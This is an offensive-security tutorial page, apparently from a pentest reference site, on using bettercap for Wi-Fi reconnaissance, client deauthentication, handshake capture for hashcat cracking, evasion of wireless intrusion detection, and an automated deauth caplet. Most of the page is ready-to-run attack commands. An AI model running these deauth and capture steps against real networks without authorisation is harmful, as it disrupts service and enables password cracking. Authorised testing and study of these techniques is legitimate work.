# Wireless Attacks with Bettercap

- **URL:** https://hackindex.io/platforms/wireless/exploitation/wireless-attacks-with-bettercap
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-03-17

bettercap provides a unified interface for bettercap wireless attacks including reconnaissance, deauthentication, and handshake capture through its wifi module. It handles monitor mode internally and presents a live view of discovered APs and clients. For wireless work it is most useful as a quick scanning and deauth tool, and as an alternative to the airodump-ng and aireplay-ng workflow when you want everything in one interactive session.

Compared to the aircrack-ng suite, bettercap trades granular control for convenience. aircrack-ng gives you separate tools with full flag control, which matters when you need to filter by BSSID or work on specific channels reliably. bettercap is faster to set up for quick scans and deauth bursts but lacks the capture reliability of airodump-ng in long-running sessions. Use bettercap when you need a fast interactive overview, fall back to the aircrack-ng suite when you need stable, long-duration captures or when driver compatibility is a concern.

## Start Bettercap for Wireless Attacks

```bash
bettercap -iface wlan0
```

bettercap drops you into an interactive session. All subsequent commands run inside this session.

If bettercap fails to start with a driver error or cannot enable monitor mode, the adapter likely does not support the cfg80211 or mac80211 interfaces that bettercap expects. Check `iw list` for monitor mode support. Some Realtek chipsets (RTL8812AU, RTL8188EUS) require the adapter to be placed in monitor mode manually with `airmon-ng start wlan0` before bettercap will work.

## Enable Wireless Reconnaissance

Start the wifi module to begin scanning for APs and clients:

```bash
wifi.recon on
```

Show all discovered APs:

```bash
wifi.show
```

The table shows BSSID, SSID, channel, signal strength, encryption, and connected client count. Refresh periodically to pick up newly discovered APs.

## Deauthenticate a Specific Client

Target a specific client MAC for deauthentication:

```bash
wifi.deauth CC:DD:EE:FF:AA:BB
```

To deauthenticate all clients from a specific AP:

```bash
wifi.deauth AA:BB:CC:DD:EE:FF
```

## Capture Handshakes

bettercap writes captured handshakes to pcap files automatically when wifi.recon is active. Set the output directory:

```bash
set wifi.handshakes.file /tmp/handshakes
wifi.recon on
```

Combine with deauth to force handshakes:

```bash
wifi.deauth AA:BB:CC:DD:EE:FF
```

Captured handshakes are saved as individual pcap files per BSSID in the specified directory. Convert them with hcxpcapngtool for hashcat cracking.

## OPSEC Considerations for Bettercap Wireless Attacks

bettercap wireless attacks generate noticeable traffic that WIDS/WIPS systems can detect. Keep the following in mind:

- Deauthentication frames are the most visible indicator. Enterprise WIDS (Cisco, Aruba) alert on deauth floods within seconds.
- bettercap does not spoof the source MAC of deauth frames by default, so your adapter MAC is logged in any captures.
- Channel hopping during `wifi.recon` is detectable by nearby monitoring setups that see your adapter appear and disappear on channels rapidly.
- Locking to a single channel with `wifi.recon.channel` reduces your footprint but limits visibility to that channel only.
- The bettercap web UI (if enabled) binds to all interfaces by default. Disable it or bind to 127.0.0.1 to avoid exposing it on the target network.

## Lock to a Specific Channel

To focus the wifi module on a single channel rather than hopping:

```bash
wifi.recon.channel 6
```

## Use a Caplet for Automation

Caplets are bettercap script files that automate sequences of commands. Create a caplet for a repeatable wireless scan and deauth workflow:

**/tmp/wireless-recon.cap**

```
set wifi.handshakes.file /tmp/handshakes
wifi.recon on
sleep 30
wifi.show
wifi.deauth AA:BB:CC:DD:EE:FF
sleep 10
wifi.show
```

```bash
bettercap -iface wlan0 -caplet /tmp/wireless-recon.cap
```

## References

- [bettercap: wifi module documentation](https://www.bettercap.org/modules/wifi/) - wifi.recon, wifi.deauth, wifi.show, and handshake capture reference
- [bettercap: caplet scripting documentation](https://www.bettercap.org/scripting/) - Caplet syntax and automation reference